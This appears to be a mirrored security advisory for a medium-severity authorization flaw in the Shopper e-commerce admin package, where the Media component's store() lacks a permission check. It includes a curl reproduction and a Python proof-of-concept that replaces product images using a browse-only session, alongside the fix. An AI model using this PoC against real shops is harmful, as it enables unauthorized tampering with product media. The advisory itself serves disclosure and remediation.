GHSA-99h5-jhh7-v3r3: Medium severity composer/shopper/framework vulnerability

Published Sep 11, 2026
·
Updated

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browseproducts, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding editproducts. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

- packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

php // Lines 64-76 - store() with no authorize() call public function store(): void { $this->validate();

$this->product->update($this->form->getState()); // overwrites thumbnail + gallery media

$this->dispatch('product.updated');

Notification::make() ->body(('shopper::pages/products.notifications.mediaupdate')) ->success() ->send(); }

The five sibling components that were fixed in commit fcd0c59 each now have:

php public function store(): void { $this->authorize('editproducts'); // present in Edit, Inventory, Seo, Shipping, Files // ... }

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browseproducts but NOT editproducts.

bash SESSION="laravelsession=<yoursessionvalue>" XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

Step 1: Load a product edit page as an admin to obtain the Media component's Livewire snapshot ID and the product's public ID. The component snapshot appears in the HTML source as data-livewire-snapshot.

Step 2: As the low-privilege browse-only session, call store() on the Media component, pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "<snapshot JSON from page source with product locked>", "updates": {}, "calls": [{"path":"","method":"store","params":[]}] }] }' Expected: HTTP 200, product thumbnail and images updated without editproducts.

Proof of concept

python #!/usr/bin/env python3 """ Media component authorization bypass PoC.

Set these environment variables before running: BASEURL e.g. http://localhost SESSIONCOOKIE laravelsession cookie value (browse-only staff session) XSRFTOKEN URL-decoded XSRF-TOKEN cookie value SNAPSHOTJSON the full Livewire snapshot JSON string for the Media component (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed. The bypass is purely the missing authorize() on store(). """

import json import os import requests

baseurl = os.environ['BASEURL'] session = os.environ['SESSIONCOOKIE'] xsrf = os.environ['XSRFTOKEN'] snapshot = os.environ['SNAPSHOTJSON']

headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravelsession={session}', 'X-Livewire': '1', }

payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{'path': '', 'method': 'store', 'params': []}] }] }

r = requests.post(f'{baseurl}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.statuscode}') print(r.text[:500])

Impact

A staff member with only browseproducts can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

php // packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void { $this->authorize('editproducts'); // add this line

$this->validate();

$this->product->update($this->form->getState());

$this->dispatch('product.updated');

Notification::make() ->body(('shopper::pages/products.notifications.mediaupdate')) ->success() ->send(); }

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Affected Software

1 affected componentFixes available
composer/shopper/framework<2.9.2
2.9.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/shopper/framework to a version that resolves this vulnerability.

    Fixed in 2.9.2
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch GHSA-h4mp-g9c6-xwph
  3. Configuration

    Add `$this->authorize('edit_products');` to the `store()` method in `Media.php` (lines 64-76 currently show `store()` with no authorize() call). This prevents staff with only `browse_products` from updating product thumbnail and gallery images via the Media sub-form store action.

    Laravel Livewire Products/Form/Media component (packages/admin/src/Livewire/Components/Products/Form/Media.php) authorize('edit_products') = add authorize() call inside store()

Event History

Sep 11, 2026
Advisory Published
via GitHub·09:30 PM
Data Sourced
via GitHub·09:30 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users can exploit this issue?

Any authenticated admin-panel user with the browse_products permission can invoke the affected component. The user does not need the edit_products permission.

2

What can an attacker change, and what access do they need?

An attacker needs an authenticated admin-panel session and access to a product form initialized for the target product. They can replace that product's thumbnail and gallery images through the Media component's store() action.

3

Can the attacker select any product by manipulating the request?

No. The product property is marked #[Locked], so the client cannot redirect the write to an arbitrary product. However, the media update still succeeds for whichever product was used to initialize the component.

4

How can I check whether the authorization gap is present?

Inspect packages/admin/src/Livewire/Components/Products/Form/Media.php and review the store() method. The issue is present when that method lacks an authorize() call enforcing the required product-edit permission.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203